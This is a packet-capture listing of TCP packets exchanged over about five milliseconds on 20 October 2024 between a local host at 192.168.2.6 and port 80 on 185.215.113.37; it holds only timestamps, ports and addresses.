Oct 20, 2024 21:16:17.356945992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357038975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357049942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357059956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357072115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357089043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357090950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357117891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357145071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357299089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357311010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357320070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357333899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357350111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357352018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357357979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357359886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357361078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357367039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357368946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357381105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357397079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357399940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357414007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357415915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357424974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357440948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357450008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357450962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357461929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357470036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357472897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357484102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357496977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357505083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357508898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357522011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357525110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357537031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357542992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357559919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357577085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357753992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357765913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357775927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357794046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357804060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357815027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357815027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357827902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357839108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357839108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357851982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357878923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357908010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.357920885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357933044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357944012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357955933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357966900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357983112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.357984066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358007908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358023882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358033895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358045101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358056068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358067036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358078003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358092070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358097076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358102083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358114958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358127117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358139038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358139992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358150959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358158112 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358161926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358176947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358195066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358218908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358409882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358422041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358433008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358443975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358454943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358459949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358464956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358478069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358489037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358500004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358501911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358501911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358510971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358520985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358525038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358558893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358561039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358572006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358576059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358582973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358593941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358604908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358607054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358616114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358628035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358628035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358639956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358650923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358661890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358663082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358675003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358683109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358686924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358699083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358700037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358711004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358716965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358728886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358750105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358778954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.358939886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358951092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.358962059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359003067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359030962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359107018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359119892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359133959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359147072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359158993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359167099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359169960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359180927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359193087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359195948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359204054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359215021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359215975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359227896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359230995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359239101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359250069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359255075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359272003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359276056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359291077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359301090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359307051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359313011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359323978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359328985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359334946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359345913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359347105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359358072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359369040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359378099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359379053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359395981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359405994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359417915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359421968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359421968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359428883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359441042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359450102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359453917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359466076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359467983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359477997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359486103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359524965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359898090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359910011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359920025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359930992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359942913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359952927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359954119 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359965086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359976053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359977007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.359986067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.359997034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360008001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360018969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360029936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360050917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360063076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360068083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360073090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360084057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360091925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360091925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360091925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360095978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360091925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360106945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360119104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360125065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360130072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360133886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360141039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360148907 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360152960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360163927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360169888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360174894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360189915 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360189915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360203981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360214949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360225916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360235929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360236883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360246897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360259056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360269070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360270977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360281944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360290051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360292912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360306025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360308886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360316992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360327959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360330105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360338926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360358953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360392094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360923052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360939980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360950947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360963106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360974073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360975981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.360985041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.360996962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361007929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361008883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361020088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361031055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361035109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361041069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361052036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361053944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361071110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361076117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361083031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361093044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361094952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361104012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361115932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361124992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361129045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361149073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361155033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361160994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361170053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361174107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361181974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361191988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361202955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361203909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361215115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361231089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361251116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361275911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361288071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361298084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361310959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361321926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361321926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361332893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361340046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361344099 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361356020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361366034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361371040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361377001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361388922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361398935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361407042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361411095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361423016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361435890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361454010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361474991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361809969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361821890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361833096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361845016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361864090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361865044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361876011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361886024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361892939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361897945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361908913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361912966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361920118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361923933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361931086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361942053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361952066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361959934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.361963034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361974001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361989021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.361999035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362001896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362009048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362020969 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362025976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362034082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362045050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362046957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362057924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362066031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362076998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362095118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362098932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.362109900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362112999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362113953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362117052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362122059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362123966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362128019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362138987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.362144947 CEST	49711	80	192.168.2.6	185.215.113.37
